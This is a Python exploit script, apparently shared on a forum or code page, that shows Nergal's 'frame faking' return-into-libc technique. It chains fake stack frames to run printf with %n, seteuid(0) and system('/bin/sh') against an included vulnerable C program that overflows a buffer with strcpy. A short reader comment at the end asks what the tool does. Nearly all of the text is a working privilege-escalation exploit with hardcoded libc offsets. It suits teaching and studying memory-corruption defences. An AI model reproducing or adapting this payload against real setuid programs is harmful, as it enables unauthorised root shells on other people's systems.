Exploit presenting `frame faking` technique to chain advanced return-into-libc payloads in non-exec stack environment

exp-chained-fake-frame.py

#!/usr/bin/python

#
# Example of Frame Faking technique used to construct more advanced
# return-into-libc payloads in non-exec stack environment, as described in:
#   The advanced return-into-lib(c) exploits
#   by Nergal <nergal@owl.openwall.com> 
#   (http://phrack.org/issues/58/4.html)
#
# To be used:
#   $ ./bonx `./exp-chained-fake-frame.py`
#

'''
/* Compilation: 
 * $ gcc -fno-stack-protector -o bonx bonx.c
**/
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
 char b[256];
 seteuid(getuid());
 strcpy(b, argv[1]);
 printf("%s", b);
 fflush(stdout);
 return 0;
}
'''

import struct
import sys

# CONFIGURATION DEPENDING ON PLATFORM, LIBC VER
# =================================
LIBC_IMAGEBASE 	= 0xb7e97000
BUFFER_ADDR 	= 0xbffff4d0
LEAVE_RET 	= 0x0804851c

# Functions within libc-2.11.2
pprintf = struct.pack("<I", LIBC_IMAGEBASE + 0x46f90)   # _IO_printf@@GLIBC_2.0
psystem = struct.pack("<I", LIBC_IMAGEBASE + 0x38fb0)   # system@@GLIBC_2.0
pseteuid = struct.pack("<I",LIBC_IMAGEBASE + 0xc47ff)   # seteuid@@GLIBC_2.0
pexit = struct.pack("<I",   LIBC_IMAGEBASE + 0x2f0c0)   # exit@@GLIBC_2.0
# =================================

def conv(x):
  return struct.pack("<I", x + BUFFER_ADDR)

junk = 'A' * 144
strings = "/bin/shXXYY%n"

binsh = conv(0x103)
binshnul = conv(0x10a)
setuidparam = conv(0x7c)
exitparam = conv(0xd4)
printffmt = conv(0x10e)

leaveret = struct.pack("<I", LEAVE_RET)

# Fake frames addresses
fake_ebp0 = conv(0x60)
fake_ebp1 = conv(0x80)
fake_ebp2 = conv(0x90)
fake_ebp3 = conv(0xa4)
fake_ebp4 = conv(0xb4)
fake_ebp5 = conv(0xc8)
fake_ebp6 = conv(0xc4)

# Pre-filling buffer
exploit = junk

# printf("%n", setuidparam);
exploit += fake_ebp1 + pprintf + leaveret + printffmt + setuidparam

# seteuid(0)
exploit += "X" * 12 + fake_ebp2 + pseteuid + leaveret + "XXXX"

# printf("%n", &binsh[7]);
exploit += fake_ebp3 + pprintf + leaveret + printffmt + binshnul

# system("/bin/sh")
exploit += fake_ebp4 + psystem + leaveret + binsh

# printf("%n", &binsh[7]);
exploit += fake_ebp5 + pprintf + leaveret + printffmt + exitparam

# exit(0)
exploit += fake_ebp5 + pexit + leaveret + exitparam

# fill up to a boundary of 264 bytes overflowing stack-based buffer
exploit += 'B' * (264 - len(exploit))

# Preparing chained return-into-libc initial fake frame
exploit += fake_ebp0 + leaveret

# Append additional filling and strings
exploit += 'C' * (324 - len(exploit) - len(strings) - 4)
exploit += strings

sys.stdout.write(exploit)

hmm, interesting but not sure what this tool does exactly.. Any detailed explanation for this tools? Thank you.

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